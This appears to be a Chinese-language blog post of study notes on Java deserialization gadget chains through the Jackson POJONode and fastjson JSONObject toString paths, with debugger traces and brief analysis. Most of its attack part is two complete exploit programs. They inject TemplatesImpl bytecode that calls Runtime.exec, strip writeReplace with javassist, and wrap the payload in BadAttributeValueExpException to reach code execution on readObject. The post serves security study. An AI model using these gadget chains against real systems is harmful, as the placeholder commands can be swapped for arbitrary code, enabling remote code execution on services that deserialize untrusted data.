
jackson
0x01 demo
佬的文章,菜鸟的拿来主义。
链接
https://www.viewofthai.link/2023/08/08/jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A6%E5%8F%91getter%E6%96%B9%E6%B3%95%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%88%86%E6%9E%90/
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 
 | package com.jsonser;
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.ObjectMapper;
 
 public class jacksonTest {
 public static class Message {
 int code;
 String detail;
 Object data;
 
 public Message() {
 }
 
 public void setCode(int code) {
 this.code = code;
 }
 
 public void setDetail(String detail) {
 this.detail = detail;
 }
 
 public void setData(Object data) {
 this.data = data;
 }
 
 public int getCode() {
 System.out.println("getCode");
 return this.code;
 }
 
 public String getDetail() {
 System.out.println("getDetail");
 return this.detail;
 }
 
 public Object getData() {
 System.out.println(this);
 return this.data;
 }
 
 public Message(int code, String detail) {
 this.code = code;
 this.detail = detail;
 }
 
 public Message(int code, String detail, Object data) {
 this.code = code;
 this.detail = detail;
 this.data = data;
 }
 }
 public static void main(String[] args) throws JsonProcessingException {
 
 Message message = new Message();
 message.setCode(114514);
 message.setDetail("thai want to test jackson");
 
 ObjectMapper objectMapper = new ObjectMapper();
 String s = objectMapper.writeValueAsString(message);
 
 
 System.out.println("jackon string: " + s);
 
 }
 }
 
 | 

可以看见Jackson在序列化,会调用javaBean的所有getter方法。
0x02. 人心浮躁,本人只学剑招,瞎分析
打一个断点

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | getData:38, jacksonTest$Message (com.jsonser)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
 serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
 serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
 _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
 serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
 _writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
 writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
 main:60, jacksonTest (com.jsonser)
 
 | 
DefaultSerializerProvider#serializeValue


通过findTypedValueSerializer来从缓存中获取序列化器得到BeanSerializer。然后进行序列化
然后来到BeanSerializer#serialize

| 1
 | BeanSerializerBase#serializeFields
 | 

Bean类中的所有属性值的写入

最后是能够调用对应属性值的getter方法进行赋值。
0x03 构造链子
通过上面分析,控制BeanSerializer,就可以对Bean类中的所有属性值进行getter。
writeValueAsString是jackson的反序列化入口。
所以找一个能触发writeValueAsString的就行。
com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString

com.fasterxml.jackson.databind.node.BaseJsonNode#toString

所以要早一个可以序列化,然后触发BaseJsonNode#toString()。
网上的找到一个
| 1
 | com.fasterxml.jackson.databind.node#POJONode
 | 

可以他继承ValueNode,
POJONode,ValueNode,都没有tostring()方法,所以POJONode.tostring会触发BaseJsonNode.tostring()
最后完成序列化触发getter。
| 1
 | POJONode#toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString
 | 
0x04 exp
在写入序列化时会进行判断是否实现了writeReplace方法

OJONode的父类BaseJsonNode中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断
我们可以通过删除这个方法来跳过这个过程,进而成功的序列化。

所以使用javassist删除就好
| 12
 3
 4
 5
 6
 7
 
 | ClassPool pool1 = ClassPool.getDefault();CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
 CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
 jsonNode.removeMethod(writeReplace);
 ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
 jsonNode.toClass(classLoader, null);
 ClassPool aDefault = ClassPool.getDefault();
 
 | 
最终exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 
 | package com.jsonser;
 import com.alibaba.fastjson.JSONObject;
 import com.fasterxml.jackson.databind.node.ArrayNode;
 import com.fasterxml.jackson.databind.node.POJONode;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import com.sun.rowset.JdbcRowSetImpl;
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtConstructor;
 import javassist.CtMethod;
 
 import javax.management.BadAttributeValueExpException;
 import javax.management.remote.JMXServiceURL;
 import javax.management.remote.rmi.RMIConnector;
 import javax.management.remote.rmi.RMIServer;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.lang.reflect.Modifier;
 import java.sql.DatabaseMetaData;
 import java.util.ArrayList;
 import java.util.HashMap;
 
 
 public class jackson {
 public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
 final Field field = getField(obj.getClass(), fieldName);
 field.set(obj, value);
 }
 
 public static Field getField(final Class<?> clazz, final String fieldName) {
 Field field = null;
 try {
 field = clazz.getDeclaredField(fieldName);
 field.setAccessible(true);
 }
 catch (NoSuchFieldException ex) {
 if (clazz.getSuperclass() != null)
 field = getField(clazz.getSuperclass(), fieldName);
 }
 return field;
 }
 
 public static void main(String[] args) throws Exception{
 
 
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");");
 clazz.addConstructor(constructor);
 byte[][] bytes = new byte[][]{clazz.toBytecode()};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setFieldValue(templates, "_bytecodes", bytes);
 setFieldValue(templates, "_name", "xx");
 setFieldValue(templates, "_class", null);
 
 try {
 
 ClassPool pool1 = ClassPool.getDefault();
 CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
 CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
 jsonNode.removeMethod(writeReplace);
 ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
 jsonNode.toClass(classLoader, null);
 ClassPool aDefault = ClassPool.getDefault();
 CtClass ctClass = aDefault.get("com.sun.rowset.JdbcRowSetImpl");
 
 
 
 
 
 
 
 
 
 
 } catch (Exception e) {
 }
 
 
 
 
 JSONObject jsonObject = new JSONObject();
 jsonObject.put("1",templates);
 
 
 BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 setFieldValue(val,"val",jsonObject);
 
 HashMap<Object, Object> hashMap = new HashMap<>();
 hashMap.put(templates,val);
 
 try{
 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./jackson"));
 outputStream.writeObject(hashMap);
 outputStream.close();
 
 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./jackson"));
 inputStream.readObject();
 }catch(Exception e){
 e.printStackTrace();
 }
 }
 }
 
 
 | 
fastjson
0x01 demo偷学剑招
没实力直接抄代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 
 | package com.jsonser;
 import com.alibaba.fastjson.JSONArray;
 import com.alibaba.fastjson.JSONObject;
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.ObjectMapper;
 
 public class jacksonTest {
 public static class Message {
 int code;
 String detail;
 Object data;
 
 public Message() {
 }
 
 public void setCode(int code) {
 this.code = code;
 }
 
 public void setDetail(String detail) {
 this.detail = detail;
 }
 
 public void setData(Object data) {
 this.data = data;
 }
 
 public int getCode() {
 System.out.println("getCode");
 return this.code;
 }
 
 public String getDetail() {
 System.out.println("getDetail");
 return this.detail;
 }
 
 public Object getData() {
 System.out.println(this);
 return this.data;
 }
 
 public Message(int code, String detail) {
 this.code = code;
 this.detail = detail;
 }
 
 public Message(int code, String detail, Object data) {
 this.code = code;
 this.detail = detail;
 this.data = data;
 }
 }
 public static void main(String[] args) throws JsonProcessingException {
 
 Message message = new Message();
 message.setCode(114514);
 message.setDetail("thai want to test jackson");
 
 
 
 
 com.alibaba.fastjson.JSONArray.toJSON(message);
 
 
 
 
 }
 }
 
 | 

在序列化,会调用javaBean的所有getter方法。
0x02 fastjson剑招瞎分析
jsonobject,jsonarray分析

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | getData:40, jacksonTest$Message (com.jsonser)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 get:544, FieldInfo (com.alibaba.fastjson.util)
 getPropertyValue:153, FieldSerializer (com.alibaba.fastjson.serializer)
 getFieldValuesMap:797, JavaBeanSerializer (com.alibaba.fastjson.serializer)
 toJSON:1106, JSON (com.alibaba.fastjson)
 toJSON:1012, JSON (com.alibaba.fastjson)
 main:64, jacksonTest (com.jsonser)
 
 | 
com/alibaba/fastjson/JSON.java#toJSON()

com/alibaba/fastjson/serializer/JavaBeanSerializer.java#getFieldValuesMap()


com/alibaba/fastjson/serializer/FieldSerializer.java#getPropertyValue

com/alibaba/fastjson/util/FieldInfo.java#get()

最后对里面的所有javabean属性值invoke。
json 调用(看不懂,贴流程吧)
| 12
 3
 4
 5
 6
 7
 
 | getData:40, jacksonTest$Message (com.jsonser)write:-1, ASMSerializer_1_Message (com.alibaba.fastjson.serializer)
 write:285, JSONSerializer (com.alibaba.fastjson.serializer)
 toJSONString:758, JSON (com.alibaba.fastjson)
 toJSONString:696, JSON (com.alibaba.fastjson)
 toJSONString:661, JSON (com.alibaba.fastjson)
 main:64, jacksonTest (com.jsonser)
 
 | 
Json.toString()细节分析
com/alibaba/fastjson/JSON.java#toJSONString()


对out,config赋值。

然后调用write处理传入的object
com/alibaba/fastjson/serializer/JSONSerializer.java#write()


进过一系列操作创建createJavaBeanSerializer

com/alibaba/fastjson/serializer/SerializeConfig.java#createJavaBeanSerializer()

从class获取所有bean属性值,然后传入createJavaBeanSerializer(beanInfo)
com/alibaba/fastjson/serializer/SerializeConfig.java#createJavaBeanSerializer(beanInfo)

然后得到bean中field,bean中的method

自后调用createASMSerializer(beanInfo)
com/alibaba/fastjson/serializer/SerializeConfig.java#createASMSerializer(SerializeBeanInfo beanInfo)

调用
com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo) 

然后获取对象getters
后面看不懂,总结就是序列化会调用对象中的所有getters。
0x03 构造
只要找一个可以ser的类里面触发toJSONString就可以。


下面两个都继承Json,没有toString方法,所以调用两个类的toString,就回触发Json的toString,进而触发toJSONString。


0x04 exp
找一个readObject触发toString方法。然后把触发对象改为JSONObject或者JSONArray就行
cc5的前半就满足这个条件。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 
 | package com.jsonser;
 import com.alibaba.fastjson.JSONArray;
 import com.alibaba.fastjson.JSONObject;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtConstructor;
 
 import javax.management.BadAttributeValueExpException;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 
 public class fastjson {
 public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
 final Field field = getField(obj.getClass(), fieldName);
 field.set(obj, value);
 }
 
 public static Field getField(final Class<?> clazz, final String fieldName) {
 Field field = null;
 try {
 field = clazz.getDeclaredField(fieldName);
 field.setAccessible(true);
 }
 catch (NoSuchFieldException ex) {
 if (clazz.getSuperclass() != null)
 field = getField(clazz.getSuperclass(), fieldName);
 }
 return field;
 }
 public static void main(String[] args) throws Exception{
 ClassPool pool = ClassPool.getDefault();
 CtClass cmd = pool.makeClass("cmd");
 cmd.setSuperclass(pool.get(AbstractTranslet.class.getName()));
 String Command ="java.lang.Runtime.getRuntime().exec(\"open .\");";
 cmd.makeClassInitializer().insertBefore(Command);
 cmd.toClass();
 
 
 
 byte[][] bytes = new byte[][]{cmd.toBytecode()};
 
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setFieldValue(templates, "_bytecodes", bytes);
 setFieldValue(templates, "_name", "123");
 
 
 
 JSONObject jsonObject = new JSONObject();
 jsonObject.put("1",templates);
 
 BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 setFieldValue(val,"val",jsonObject);
 
 HashMap<Object, Object> hashMap = new HashMap<>();
 hashMap.put(templates,val);
 
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
 oos.writeObject(hashMap);
 
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
 ois.readObject();
 }
 }
 
 | 
剑招学习完毕。脑子不够用,驻场了。。。
偷学剑招(佬文链接)
https://xz.aliyun.com/t/12509
https://xz.aliyun.com/t/12755
https://www.viewofthai.link/2023/08/08/jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A6%E5%8F%91getter%E6%96%B9%E6%B3%95%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%88%86%E6%9E%90/
http://www.bmth666.cn/2022/03/11/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRome%E9%93%BE/
https://su18.org/post/ysoserial-su18-5/#objectbean
https://tttang.com/archive/1701/#toc_beancomparator